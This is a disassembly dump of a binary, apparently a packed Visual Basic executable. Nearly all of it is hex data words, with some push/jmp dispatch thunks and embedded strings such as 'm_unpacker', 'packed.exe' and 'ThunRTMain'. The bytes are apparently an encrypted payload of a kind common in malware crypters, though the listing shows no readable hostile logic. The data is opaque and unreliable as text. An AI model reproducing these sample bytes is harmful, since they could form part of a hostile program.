dd 26B4778Bh, 711C3AA7h, 6D762282h, 4D2CD6B2h, 0A43555EAh
dd 9A9584Dh, 72656996h, 0C757986h, 3CFF22F0h, 0DA706B5Fh
dd 547C1CB8h, 0A3D559B5h, 8313F255h, 547C3361h, 0BFDFE035h
dd 35547C17h, 38EA164Dh, 38FB2AF9h, 530554BDh, 89D4F1A5h
dd 0FA911A2Ch, 1F208362h, 0C4722FFh, 7B616D30h, 8210EA96h
dd 4BEEBC1Fh, 0A2D955C8h, 8A6DCC5Eh, 6EE85528h, 0D223B1A8h
dd 9A4h, 2A35905h, 8F2CDA8Ch, 13B04C3Bh, 9D3EC2BFh, 2A4BB129h
dd 5733EB83h, 0CCBA08ADh, 483D9132h, 30AB1FBCh, 5A9DA7C4h
dd 0FCC9C38h, 6150D958h, 8E7A139Fh, 9F1A9D1Ch, 830F3072h
dd 67981BE5h, 0FBE27907h, 54ED345Bh, 2D5BF313h, 8F16A7F0h
dd 8CFFF30Ch, 91CBC778h, 0F3C7A467h, 5FBE6C98h, 2F4FF0B2h
dd 0A2AA311Dh, 8A083968h, 0B68141D1h, 45799236h, 9ACDC1E2h
dd 56A6CE30h, 0B0F3AC02h, 0C825DD1h, 0BAFFAF5Bh, 0D1937CFBh
dd 4A43CE30h, 0D54CA958h, 0C135A62Ch, 49BD2E9Ch, 85872BD5h
dd 35D2B554h, 0DEA8CA77h, 0FDB00E99h, 2F0BB886h, 0C649239Ah
dd 0BB37C85Bh, 44B827C0h, 0D3F053D6h, 0AB174BB2h, 972B1AA0h
dd 0E684DF77h, 0A80B9ABBh, 0D62255E9h, 5A18C144h, 98B745A5h
dd 0A7FEBEBCh, 2B6996F7h, 4D4DF416h, 0FF268563h, 0D23AA81Fh
dd 6BEA781Ah, 8ACh, 0FA9B611Dh, 8724D284h, 0BA85433h, 9536CAB7h
dd 2243B921h, 5F0BF37Bh, 0D4B200A5h, 4035892Ah, 0C8A317B4h
dd 22659F3Ch, 0FCD94C0h, 79A8E158h, 0D94DB9D2h, 9A5C506h
dd 445EA1FEh, 0FFE85ADDh, 80FB6318h, 54673BE2h, 0A072D5B4h
dd 198D7912h, 7727D18Bh, 831B4032h, 0B449DBFEh, 16846724h
dd 48612E26h, 102A653Bh, 48F29367h, 5CC7352Eh, 1030h, 0E794EF00h
dd 25E2B007h, 0ED7F6E31h, 4BEh, 2AE0D02h, 7D99F9E5h, 385EA1FEh
dd 0F5F906E9h, 1A0728Eh, 0A42141BEh, 0F35BF9EAh, 0BB473CB2h
dd 7C9846EBh, 39A7F614h, 69B827E6h, 56A0DAD8h, 0E49165C4h
dd 76689110h, 0C8C0450Ch, 0B54A08F1h, 0B61CA855h, 89A057Dh
dd 1926648Dh, 532EA8F9h, 0E51A8544h, 0DA086D9Eh, 65240BCBh
dd 26575B9Ch, 5EE140D2h, 6E0FFBECh, 3B9B6F18h, 0D5DB6ABEh
dd 0B185089Ah, 18000007h, 89FD9E64h, 368429DFh, 0A210B549h
dd 249A3BC7h, 862546BCh, 0AE540CEEh, 3DC3B90Dh, 47B32A98h
dd 0D3275026h, 2D4D92B2h, 580FCA81h, 0D26C43CCh, 4BD94DB9h
dd 0BFC0E51Fh, 0FEF01C7Eh, 62BD5EA1h, 0F9BB24A3h, 0E2622648h
dd 902F5BFBh, 45BB85F0h, 6AD5F6C9h, 6FD6BC62h, 9E142D8Ch
dd 699619EDh, 79867265h, 0DAB54D02h, 9BB2EE05h, 2E2124E9h
dd 0DDBE019Eh, 980AFEE9h, 2EE93C47h, 0DBE4085Ah, 7634DD58h
dd 0BC7D88C9h, 792F2B74h, 0F3855DDCh, 0C2A2AA89h, 0A7D0DE63h
dd 0D6DAE53h, 0AC02C1E1h, 0D1B275ACh, 0AC7E8AFDh, 3A98621Eh
dd 3F8045A9h, 0F9A21381h, 50000006h, 0C1B5D62Ch, 4E3C6197h
dd 0FAC8ED11h, 7C52738Fh, 3EDDFE04h, 0E61C4436h, 758BF1C5h
dd 0FF0B6250h, 0BFFE8DEh, 0F5155A6Ah, 580FCB59h, 0E5A49B14h
dd 6181BEFCh, 5BFBE2AFh, 747A871Eh, 0E0D6F703h, 2A9303F7h
dd 10728FCDh, 0A2A8208Dh, 36A7079Eh, 0E23F8ACEh, 69E1D70h
dd 570F0000h, 0C0BA08ADh, 0BA219536h, 28512546h, 0A7C3B7D4h
dd 0D99D385Dh, 2243B921h, 0ABC836ACh, 3152A6D7h, 0BDDE2A5Dh
dd 0F61E4087h, 0C3580FCBh, 0B9D25B76h, 104BD94Dh, 6F2136E4h
dd 2C5B5720h, 5CDF42D0h, 6E1AFDEEh, 0F6903594h, 5CC712D0h
dd 0EDEh, 139F6300h, 971A8874h, 2D49914h, 9F960000h, 0A8D7713h
dd 6B3BCFB8h, 2F5405E2h, 95CD43D3h, 9B7ABF6Fh, 0E140BC2Bh
dd 0BCDE1F20h, 5EA1FE10h, 9F43C25Dh, 5BFBE3EDh, 0A24D34BAh
dd 0C8693DC9h, 0F174B569h, 3907D43h, 0D251D02Dh, 616DAE53h
dd 8F128074h, 0F0883B53h, 6C2F76A7h, 34C0BB0Fh, 52A8D066h
dd 0AB8D6A31h, 0A0029049h, 8FB013FFh, 0AADC3E6Fh, 1EFC0BA2h
dd 0D6164925h, 92E916F9h, 5D0B1F9Ch, 0F60B8AE6h, 0C5258FF8h
dd 0AC0262A9h, 0B9DABDE4h, 0B46692C5h, 12807A66h, 5CA8DDD1h
dd 0F3B15EDDh, 9B8D2C4Eh, 4FD6A959h, 0D8E9C0EFh, 43B22026h
dd 594h, 12B34935h, 9F3CCABCh, 2340BC2Bh, 0ADCE32AFh, 3A5BA1D9h
dd 4723DB93h, 3CAA18BDh, 0B82DA1C2h, 205B2F4Ch, 4A8DB7D4h
dd 0FC88C28h, 5140C958h, 0D94DB9D2h, 5BE4104Bh, 66882A57h
dd 5EA1FECEh, 0F6B9188Bh, 4E411764h, 84930374h, 124C37EFh
dd 0A2E38063h, 0EED50161h, 1A05EA1h, 22BED8BEh, 7A05CC7h
dd 71000000h, 15DEDh, 0B9D20200h, 7AC8E94Dh, 0AE3CCD23h
dd 51727h, 34CEB600h, 0BF492397h, 0CF33A81Eh, 5DA1D8AEh
dd 0E41E4A38h, 0AE5024C7h, 0D7ABC832h, 403657A9h, 0CEBCE115h
dd 3844699Dh, 0C97F97F7h, 0FD3A580Fh, 4DB9D2C2h, 843049B4h
dd 0B6396187h, 84CD6989h, 19885EA1h, 0C5B60496h, 0C9BD4922h
dd 1F8F6E92h, 94F63748h, 5EA18478h, 798FF935h, 46BC2496h
dd 201AB5C7h, 47BE43B7h, 6EA9923Eh, 8ABF5A0h, 6FCB4020h
dd 0CE680D8Ch, 5CC723A8h, 0B14530BEh, 0D958A4DDh, 2520h
dd 0EFE41F00h, 4FB12F08h, 6529B688h, 0B3EDB3A2h, 2000000h
dd 0ADEDh, 5591EC00h, 338AE2CFh, 5EC135A6h, 0FCE5CCDFh
dd 0AF6181BEh, 1E5BFBE3h, 0D9397A87h, 0A7F02CBDh, 74E6A9F8h
dd 95AAE811h, 0A8377475h, 4E639A2h, 3F8AD873h, 3D84099Bh
dd 0EC000004h, 15690AF0h, 82F09563h, 67419E5h, 0B006A75Bh
dd 0EA9132C8h, 1AE09882h, 0A15F0579h, 2BDF8EFCh, 0B743348Ah
dd 49A9EE16h, 580FC62Dh, 9FF02F68h, 0FE903C5Eh, 51DD5EA1h
dd 0B275D428h, 7788CA37h, 66CEB836h, 0A1FEE804h, 9B7AA55Eh
dd 4505C618h, 1C965BFAh, 53A9D69h, 8D2ED289h, 0F64E3C55h
dd 0D92D5EA7h, 7699C6B4h, 9C0EF105h, 3CB31h, 0FCE53E00h
dd 1E4081BEh, 5EA1FEF6h, 0ED1773C3h, 14768B0Ah, 5BFBE362h
dd 0FB42D053h, 43A35C1Eh, 0A2A83786h, 0FB3A980Bh, 5F3F8AD8h
dd 39A40CDh, 53330000h, 0C4B604A9h, 463D9132h, 3CA519BAh
dd 0B32FA3C0h, 0ED812449h, 0EAF550Dh, 9F3CC2B8h, 2546B22Bh
dd 0B1D22651h, 822A4C93h, 0CF580FC6h, 0FCE56F42h, 936181BEh
dd 225BFBE3h, 7707E83h, 4AB1D2F3h, 897FFE28h, 6FDF5EE0h
dd 0B31A887Ch, 0E7EB1456h, 0CBB707F9h, 71916E31h, 0A2AAC0F0h
dd 4DB7D3DFh, 4AD958D9h, 3FA826DBh, 0A3D4AACBh, 9946C757h
dd 99C426DBh, 1AA95B0Eh, 0FCFB6BEFh, 6F1A9AFAh, 0ED513093h
dd 26D925AEh, 9018C1Eh, 0A0000003h, 0D1A5C63Ch, 5E2C51A7h
dd 0CAB8DD21h, 4C42639Fh, 2ECDEE14h, 0D62C5446h, 659BC1B5h
dd 0EF1B7240h, 7B8FF8CEh, 85E52A5Ah, 580FC769h, 0D2B4EB24h
dd 5BF313B9h, 165EA1FEh, 287E2C8Fh, 192A4BBFh, 8115E395h
dd 0FD1A6120h, 696082BFh, 5A5BF9F3h, 9A95BCBh, 0B3A7F61Fh
dd 385EB01Fh, 26561EF4h, 2Ch, 0ADFCE50Bh, 0D75AC834h, 6EABCB74h
dd 335BF9E2h, 508022F0h, 0EAA7F62Ch, 901E6926h, 208115E9h
dd 0E0DFF961h, 0E2CF561Eh, 50000000h, 0D94DB9D2h, 5CE51F4Bh
dd 5DD12556h, 8A7C6EDCh, 84169918h, 0FDB14536h, 0ABC83CAFh
dd 0A1F945BBh, 0E9094A5Eh, 0A15E054Dh, 0BE259908h, 0CE51D042h
dd 42FF0B7Ch, 3BEB174Ch, 2D5637F6h, 6DC137A1h, 8EF94DCCh
dd 92C9C57Ah, 0BA7DBC6Eh, 644AD28h, 0FF2C99F9h, 9609A405h
dd 0B49B6F5h, 1274B5F6h, 0A7F615FAh, 0A4D032B7h, 0F1A7F615h
dd 27FCFAEh, 5CE33FFEh, 11A2AF8Bh, 0CE30718Eh, 0AC0CB7A6h
dd 10F1B0F3h, 0C06C8ECFh, 8DAC0CB7h, 47239312h, 5C0E84BDh
dd 0F6B9F8AAh, 43B92195h, 8E33C6E3h, 9DF0623Fh, 1D0h, 0DEFF0579h
dd 6B08FEE8h, 0F7946817h, 791AE683h, 6A75D05h, 736F0F67h
dd 0E896E489h, 54017516h, 0DC8F03A0h, 36798B28h, 0FC4B8D4h
dd 85BCF558h, 2F4CB6D2h, 0B7D4205Bh, 0BEFCE560h, 0E2586181h
dd 3A655BF9h, 6F1B9768h, 0A4CC1295h, 1EA7F62Ch, 3A52B4F5h
dd 77A7F62Ch, 0B41B6D2Ch, 346082C3h, 81A7F62Ch, 0CC3AAC1Eh
dd 0E10B2D4Dh, 0A213561Eh, 3C000000h, 0B44DB9D2h, 0ECBE403Eh
dd 0CA58CA4Dh, 0CB6649Eh, 5EA1F9B6h, 0B2D32750h, 0CF5FABDCh
dd 5EE3A14Eh, 6705E61Dh, 1B45C8B2h, 3B7F4698h, 8D38A405h
dd 8887D730h, 0DFFC5F07h, 0D07133DCh, 465DF1B5h, 7235FFE2h
dd 0D1716D8Dh, 0E53CA2AFh, 8E2A565Ch, 0CF8C06Ch, 0B3128DACh
dd 3EC4BC12h, 8E7C735Ch, 84099B3Fh, 0F4h, 0B2D32955h, 3F5CAADCh
dd 0C3E01C4Bh, 4D6E92CFh, 0DAFB0179h, 27433B33h, 9CCAB8DDh
dd 184D4162h, 80FBCFECh, 0EA2D5774h, 0FC56C88h, 0B1E02958h
dd 2F4CB6D2h, 0B7D4205Bh, 4DB9D260h, 0E4104BD9h, 591BC4C7h
dd 0E20746A8h, 0FCF25BFBh, 8C706F8Ah, 79389B1Eh, 55EBBBEAh
dd 0C1B5D622h, 0F3097196h, 0EFAED23h, 0DBBA1D9Ch, 413AB84Bh
dd 4E2CF2B5h, 38B7E1B5h, 5AE8BA40h, 5747D723h, 8399B01Fh
dd 27ABDCF3h, 51D042B6h, 9569068Ah, 0B4778C84h, 0FCA15506h
dd 1829DD8Eh, 8416E09Ah, 0EFF06225h, 41B520AEh, 9E7075A1h
dd 5EE14097h, 6E1AF5ECh, 0C0A30694h, 2EDAB33Fh, 0E87A3D7Ch
dd 5C662927h, 85BEDF2Bh, 17CF5109h, 8E8BA00Ah, 3AC55938h
dd 9E62BCD8h, 0C7A6F997h, 7185F644h, 1250BDh, 0E0410000h
dd 10BCDE1Fh, 5D5EA1FEh, 0F50970C2h, 2E018021h, 0DA48B2D2h
dd 37E71344h, 9200F4E1h, 0A98661Ch, 6436CCB4h, 0C250AAD6h
dd 35E9154Ch, 9604F8E7h, 0F2A05600h, 0E7895714h, 2C75BB53h
dd 0E3C15288h, 81DBF706h, 234A70EBh, 0D9F38128h, 0C1096121h
dd 0C38104E3h, 34F46774h, 835BDF01h, 3C8704EFh, 89525C24h
dd 4C281E2h, 83000000h, 148704EAh, 1C895C24h, 4EC8324h
dd 68243C89h, 3C83h, 0B9240C89h, 6AE2E51h, 5459CB89h, 83243C8Bh
dd 565304C4h, 674D45BEh, 24743161h, 478F5E04h, 8778108h
dd 61674D45h, 52243C8Bh, 0C281E289h, 4, 4C281h, 14870000h
dd 34FF5C24h, 0C4835B24h, 916E904h, 0B696FFFBh, 91143EEAh
dd 0EA355C0Eh, 0B81A6F3Bh, 6AE3CA0h, 0E0FFC503h, 67BF7A2Dh
dd 62142585h, 5B173890h, 1C96EF06h, 6FD673F8h, 411499B8h
dd 0E1DB2D3h, 163E9h, 84FAA400h, 0E705C562h, 5C3A4377h
dd 6E755F6Dh, 6B636170h, 70007265h, 656B6361h, 78652E64h
dd 65h, 3Ah dup(0)
dd 61433300h, 746F6E6Eh, 6E696620h, 25272064h, 202E2773h
dd 61656C50h, 202C6573h, 692D6572h, 6174736Eh, 74206C6Ch
dd 20736968h, 6C707061h, 74616369h, 6E6F69h, 6E756854h
dd 614D5452h, 5F006E69h, 6162765Fh, 54726156h, 654E7473h
dd 2 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5AF4CF
; ---------------------------------------------------------------------------
push 6AE409Eh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AE41CEh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AE4303h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AE43B2h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AE43F1h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AE44C1h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AE4514h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AE4572h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AE4C08h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AE4CA4h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AE4D58h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AE4E59h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AE4EE7h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AE4FAEh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AE5066h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AE5108h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AE575Fh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AE58A6h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AE593Eh
jmp loc_5517CE
; ---------------------------------------------------------------------------
db 6Dh
; ---------------------------------------------------------------------------
retf 783h
; ---------------------------------------------------------------------------
db 9Ch
dd 0CB74B2F7h, 0FDA6E4ADh, 2D961451h, 7EC5410Ch, 0FBB6D73Bh
dd 2F6204AFh, 5D14389Bh, 8EC766C9h, 0CBEAC38h, 0B606160Ch
dd 0FF8BB0F6h, 1788155Ch, 5EE93D74h, 67A145FEh, 0B5FFF5F8h
dd 74736CEEh, 797DBDCFh, 0EC47B600h, 767FE712h, 0EE331C22h
dd 6E286Ch, 5C9E44B6h, 0A75ECA20h, 9E236B0h, 0B4BEAAA8h
dd 3E591477h, 23000000h, 46D29FC0h, 0EB5E75Dh, 54FAED8h
dd 1A35B600h, 40446ECh, 0FEB60005h, 1317B155h, 0F1B60005h
dd 0E971D246h, 0B60004ADh, 0B1C162C9h, 1477F8C5h, 0CC85A708h
dd 50E23667h, 0C5h, 3459BAEBh, 0D5782771h, 0ED8E179Ch
dd 83A203A0h, 99BC65CAh, 0C0B04AD0h, 0E3AF57DBh, 12BD0940h
dd 34F53A73h, 7D8F3B80h, 0B5FFE3EEh, 0F8304AF0h, 0CAB5FFE3h
dd 2E093761h, 368D2F98h, 440D2F90h, 806ACEDFh, 0AA85EA46h
dd 4B7FD8BCh, 3C8AC768h, 9BFF293h, 0EC80521Bh, 5E05FE3Dh
dd 61000019h, 983B8FC6h, 0C768BEFBh, 0F152E8A1h, 2182185Dh
dd 72F94D00h, 0FFB2D33Fh, 2B6608ABh, 5910349Fh, 8AC362CDh
dd 8B2A83Ch, 0B6061710h, 0FF8FB4F2h, 7223F25Eh, 0D2974353h
dd 65A7CDF9h, 0AF585625h, 4B4FF91Fh, 39AF5856h, 9F3251Eh
dd 78CE87A6h, 91113192h, 58563377h, 4D2611AFh, 56133FE0h
dd 0B1E7D0C9h, 3459BA6Ah, 8AFB2C71h, 0B176A2EBh, 0A102B803h
dd 866CCC81h, 9DD47758h, 85A60710h, 87E660C8h, 7DB60005h
dd 898D4DD2h, 25B60005h, 0F9D5E54Eh, 341477F8h, 113C7C8Eh
dd 2D06B600h, 0CE498Bh, 0FFD20000h, 4BF1155Ch, 57D6F931h
dd 0C860CBAFh, 0E4A9CA5Bh, 0C305A3BFh, 0AF57D6C7h, 0C00692BDh
dd 0AF57DB10h, 6DB9F093h, 45EAA3C2h, 3FEB50C4h, 400D2E91h
dd 0E2CB1EE8h, 9EB9B5FFh, 6201E208h, 9A3A8D2Bh, 315F8521h
dd 0FFE39397h, 0CC671B5h, 23350645h, 0E066B260h, 0BCAB2B3Fh
dd 5F9EBE21h, 409A733Eh, 0BDAF93AFh, 32DC5C01h, 1947ED19h
dd 0AAEBABEFh, 7ABE99BCh, 4DD994B5h, 0DC0C41E2h, 0EC7FEC62h
dd 2EC04162h, 31000018h, 68CB5F16h, 97388ECBh, 0C162B8F1h
dd 0F152E8ADh, 2891D50h, 0CF82A36Fh, 0FBB6D87Bh, 296004AFh
dd 5A13329Dh, 788258CCh, 0B6061840h, 0FF5FC402h, 0CF7135Eh
dd 0DF72168h, 7CCA83A2h, 460F2D96h, 4368C0D9h, 88155CFFh
dd 0E93D7417h, 0A145FE5Eh, 0D6C9C17Bh, 90BBAF57h, 6DA8D218h
dd 57B5FFE6h, 6FB7B7FCh, 0BB5FFE6h, 7F3FFA0h, 0CE1477DDh
dd 0EE2266A0h, 82C4B5FFh, 0B5FFEE86h, 3813D37Ch, 0EF42F0h
dd 0FE240000h, 0FFEE4C4Ch, 9B1D36B5h, 3959BA90h, 0A4852474h
dd 4BEAD97Bh, 78A5E88Ah, 0B0E9362Fh, 729923C7h, 50B5FFEDh
dd 9089C3E7h, 0CD84A7F3h, 0EABF3760h, 872F89A1h, 9AF31741h
dd 7A20948Ah, 8641BC11h, 8E3C1544h, 0E0480525h, 0B859C07Ah
dd 0E10F9143h, 0B80901BBh, 50FB9143h, 43B872B6h, 0CE6F5091h
dd 140D1E83h, 54D990B3h, 2BD543h, 3A5C47A3h, 36662177h
dd 582F598Dh, 0E97EF21h, 204184A5h, 0FE2F746Dh, 0FBB94BAh
dd 0F05CFEE1h, 62299C29h, 9B18F182h, 4E072182h, 6F2645EAh
dd 9CD578DBh, 3B6CDC6Ch, 3E872411h, 16F9h, 96145DFCh, 0C145002Dh
dd 37733A5Eh, 67A3E68Ch, 50D69BBCh, 0CB6CA6CBh, 0FF9F0086h
dd 0A9CB74B2h, 5AF95AE0h, 0D5179713h, 61A77B3h, 200F4DB6h
dd 88155CFFh, 0F016AD0Fh, 0FFE64F56h, 8C1A35B5h, 0FF2001A7h
dd 0CC16E5Dh, 0AFF8256Ch, 9F29DDB6h, 0B5FFED6Ch, 98D57556h
dd 7DBDCF1Bh, 47B5FFEDh, 0AE1AF3ECh, 28E81218h, 902B893Dh
dd 0F769D06Ah, 0F05B43D0h, 794AEAB3h, 3A790D5h, 7C602EF9h
dd 8F3B144Ah, 92480124h, 0D55A1331h, 0EE54C4h, 0BD5FBDF6h
dd 6ADB4B3Ch, 11A87CEh, 0A4650897h, 34D4CD84h, 5EAE361Eh
dd 4ACCB576h, 4D000016h, 7C27632Ah, 0AB1492D7h, 0DD46C48Dh
dd 0DB6F4B1h, 1EE5216Ch, 0DB96B75Bh, 0F42E44Fh, 3D7418BBh
dd 6E2746E9h, 6C9E4CD8h, 0B6061A2Ch, 0FF6BD016h, 59F3155Ch
dd 0BFF9D300h, 160B837Ch, 6B0E0000h, 163BE422h, 0CC6CD753h
dd 0F09E0185h, 0ADCE71B5h, 9CDD5AE0h, 298D576h, 7ECC81A1h
dd 0A8FEB7D5h, 992D6407h, 6DADDF0Dh, 57B6061Ah, 1CBA2A11h
dd 57D6AEEAh, 7DBB94AFh, 55DA93B2h, 2FDB60D4h, 0FFEC269Dh
dd 0F7331CB5h, 6159E309h, 23B5FFECh, 2F01A008h, 0D1F54EEEh
dd 0A80244B7h, 0B3153EBCh, 50BA6315h, 4FF45859h, 0C9BA619Bh
dd 27885FF8h, 0B2EB4801h, 0E4AB2DD9h, 461D9224h, 0E8F7CBCh
dd 57F115AEh, 66A410C0h, 3DC74882h, 7DB866B7h, 1E0F94D1h
dd 359E4C25h, 21AB5F16h, 1AA5BACh, 3C7518A1h, 5CCDA6F7h
dd 5C267237h, 0F09150F3h, 0FBC670BDh, 31FE7BF0h, 0D62AA49Dh
dd 0D1C58438h, 0A94D7B54h, 2B4286BCh, 153B3788h, 1B3E0000h
dd 0C66BD452h, 0FC9C0783h, 0A0CE71B5h, 5DFEA1E5h, 6C0D8A10h
dd 72C885A6h, 0AEFCB1D1h, 982E6705h, 0C95D1437h, 3D7D8F5Dh
dd 7B6061Bh, 62A65AC1h, 18AF57D7h, 0AF57E71Ch, 57F6D6DEh
dd 0F79094AFh, 7013AF57h, 0E1518F39h, 0BC7FF9D2h, 14E8C3h
dd 54CEB00h, 34711E81h, 622B4DF6h, 92D77B24h, 0C78AAB14h
dd 5DB5C443h, 8A35713Ch, 0BE61A5E8h, 0F053D79Eh, 2686044Dh
dd 1C8682C4h, 3E7CB606h, 0EB5E711h, 0C38B2D8h, 88804A89h
dd 0B84F991Fh, 8AB60071h, 88E3CA40h, 506B9EEBh, 8D380EB0h
dd 0D3F5EEC7h, 0F32A7917h, 8A897AB9h, 8D000014h, 0BC67A3EAh
dd 0EB54D297h, 1D86044Dh, 4DF63471h, 5E25612Ch, 1B56F71Bh
dd 4F02248Fh, 7D3458FBh, 0AEE78629h, 2C5E8C18h, 0B6061BECh
dd 0BAAB90D6h, 2E733A59h, 51F4BBFDh, 6B0A9B18h, 0EECDFD22h
dd 0D5F17B45h, 0AB7785BEh, 2A069206h, 0CD12DFB9h, 1Ch
dd 0D75EA656h, 9F00AF57h, 0BE61B7F2h, 0B650D69Fh, 0AFB35CEDh
dd 1A10F13Eh, 2B000014h, 0DAF45CFFh, 84C6989Ah, 1317B155h
dd 0F1AF5869h, 47C06D46h, 0EB86ED5h, 0B600884Bh, 7E81E39h
dd 0CF8AA76Ah, 0D3504962h, 8F783D52h, 0B418A329h, 0B6AFEA87h
dd 0C38EAF10h, 1EB4D5Eh, 0A89FBCC7h, 62586BCh, 58C9564Fh
dd 0B0419830h, 0E6AE5731h, 484FB90Dh, 5BBCA83Fh, 9958FB36h
dd 3D6EB3FAh, 0D5CEDF44h, 441EE51h, 0A469069Fh, 326BC881h
dd 0F855D459h, 46033037h, 56133FA0h, 0E0DC78C2h, 71F8FBEh
dd 250h, 0EB5E718h, 0DDDFAED8h, 6BA5B5FFh, 14CB5F8Bh, 1CCAA338h
dd 24610DF6h, 2464AEFFh, 1EB600B5h, 9F00E335h, 0B013B7F2h
dd 0E852C683h, 66A2E402h, 5CB600B5h, 55FAA5F3h, 4B4B9310h
dd 0B7B600C5h, 0C76C733Ch, 11830482h, 0EDD67CAAh, 0C2C6004Dh
dd 80B600C4h, 0A1DB0197h, 0BCA8F22Eh, 2F88A630h, 0DA8988F6h
dd 0A96468A0h, 18F15ABCh, 58C56E90h, 3FEBA6C7h, 0BEFABFD4h
dd 0D1AC2ED4h, 0C5008159h, 3C173E7Eh, 4C25BA96h, 0BBFDBBB2h
dd 1682A1F3h, 78A5E889h, 0A94AB8FEh, 74AEBBCh, 236A099Ah
dd 0D1527BFEh, 0FCA50E42h, 0ED1954F5h, 84296C02h, 0CBF0593h
dd 55F713A8h, 0C3516286h, 0D54ED37Ch, 4DABFFB6h, 2489CC62h
dd 5BFAA5F3h, 2B518D12h, 51629991h, 36C06BC3h, 6D868FD8h
dd 5AAC0C36h, 0C351B75Eh, 67A12945h, 0C351B723h, 0D05D36E1h
dd 38652C4Fh, 555CC572h, 0CB857E37h, 15383FE0h, 0C865CE5Ch
dd 0D27F208Dh, 0E2907397h, 0F9271A7h, 59F6FDA6h, 7F608E1Ch
dd 110A97D2h, 5DC28FB0h, 5C48EC4Ch, 0BB012636h, 9Ah
dd 0C830BA8Ch, 0BE7B634h, 0DC7D2276h, 0E88A7591h, 892F78A5h
dd 0A5E8891Ah, 0C881A778h, 0D194BA6Bh, 0EEB73C4Ch, 0EA4BE06Fh
dd 0BB0F42E3h, 0DFD92713h, 64C612h, 72980000h, 57E9D0C8h
dd 1F99B2AFh, 155CFF14h, 3D741788h, 1B8431F0h, 0E2387114h
dd 0DFD25E4Ah, 40B912h, 9430000h, 8703CD53h, 69A1DBFBh
dd 5BAF57F2h, 88A607F0h, 0E13760CDh, 0EB5E7BAh, 0EE9BAED8h
dd 0CE69B5FFh, 5048F218h, 32B5FFEEh, 2A2C9F19h, 0B5FFEDEAh
dd 76842D86h, 1477C59Ah, 8B7Dh, 59BAC600h, 0F029763Fh
dd 0F64DEFB8h, 72BB6D0h, 0D23DB600h, 91BFF9BCh, 8BA879A6h
dd 0BAD778CEh, 5CF1B2FFh, 690B9419h, 0C228320h, 8825E449h
dd 8C29A827h, 32771C23h, 0E65440F4h, 43B31477h, 94000000h
dd 0D90DB4E7h, 57D74BAFh, 93B21D2Fh, 4AB05EDAh, 57D6F830h
dd 8861CA2Fh, 0B1D43F2Bh, 0AEEB87F8h, 46802801h, 2F57D83Eh
dd 1211923Bh, 58E218A3h, 0AF57D840h, 779D2902h, 75A3E68Ch
dd 78Ah, 43DFAD00h, 0FA000000h, 0EA1059FFh, 2F3F2F60h
dd 0EAAF80Bh, 2A6F049Dh, 0B6E4769Ch, 7D80A470h, 7916991Fh
dd 705357F1h, 631AF58h, 8B07802Dh, 7311F228h, 0CD0DFE3Ah
dd 0AF586FC8h, 94A60FE4h, 12DF4FB8h, 0BEB5Fh, 0ABE7E000h
dd 0DEA3AB08h, 0FA39030Bh, 96829011h, 719B74E7h, 35h, 8ABE7CAh
dd 0D770A8D2h, 1852AF57h, 51F1B6DAh, 4C86971Ch, 948DCAEEh
dd 6599D30Fh, 2A45157Bh, 288244D4h, 4458CC91h, 583446EFh
dd 0BFBBAB6Ch, 21Ah, 8ABE780h, 708C98D2h, 0E08D51CAh, 9C796348h
dd 30155CFFh, 0E8F413F8h, 0EF15DFCAh, 56h, 80ABE730h, 0CDBA93DEh
dd 0D70500BAh, 0F8DBAF57h, 77991F5Ah, 0D6B3F711h, 0A691AF57h
dd 0E9DF19CDh, 33FF6910h, 0BA111A9Eh, 2E733A59h, 0A3E68CFDh
dd 0BA80EF75h, 24743959h, 0B794DD7Bh, 0AEEA1CBAh, 0B0AF57D6h
dd 57D71216h, 8747F0AFh, 8C990CACh, 1BDFh, 0ABE7FA00h
dd 50F1D208h, 0BA909B1Dh, 57D70500h, 9673DCAFh, 59FFDDBAh
dd 0E0C52B10h, 9655A4A6h, 135EFFA7h, 40092C97h, 3152BD59h
dd 912B377Ch, 0A7965699h, 41D7C06Bh, 9F0BDDEh, 0ECB071AAh
dd 21C8316Ah, 21778CE8h, 3296DF7Eh, 0E7AECDh, 0E0ABCDAh
dd 0FCA79661h, 0F8114861h, 0EC478716h, 0EBFC1D4Ch, 0F2E35FEh
dd 0D639718Bh, 200BA796h, 0CF6ED137h, 0DD7F6086h, 0B41D0494h
dd 0D6080F93h, 0B0FAA796h, 3234FB46h, 0E325C19Eh, 0A7964FA7h
dd 0EED9B29Dh, 1AEE781h, 6EB3FEA0h, 41D0515Ah, 0E1E849E2h
dd 779D0B42h, 12A564E5h, 76A20913h, 58C588A9h, 2C872139h
dd 96DB7C83h, 0C58CAF10h, 40DC7DE2h, 0A795E445h, 0DF6143Fh
dd 0AEF7216Ch, 383FE04Dh, 83EC5C15h, 0AFBEA9E0h, 0BC65B28Bh
dd 2BDF96B5h, 4BEDA4C8h, 90D97CE3h, 6A2748A9h, 4CEA107Fh
dd 95E3FE3Ah, 0CD6BC4A7h, 4983CD56h, 7CDE48A0h, 129D1B0Bh
dd 24CE3A73h, 0D373A3D2h, 0CD051076h, 3B8F4ACFh, 555EDA57h
dd 30155CFFh, 0B4E79C79h, 0B5AEE785h, 0F413F8D0h, 15DFCAE8h
dd 2CEFh, 0B4E73000h, 37A8E585h, 0D9D25F1Ah, 0BAFBE0h
dd 0AF57D705h, 0BA7754FFh, 0DC95B31Ch, 1583C66Bh, 1752FF0Eh
dd 0DFE0C532h, 30h, 0DB4E7FAh, 500BA18h, 0DCAF57D7h, 1CBA9673h
dd 52DF92B3h, 0BAD4DF59h, 0D6AEEA1Ch, 0BB94AF57h, 0D89DB27Dh
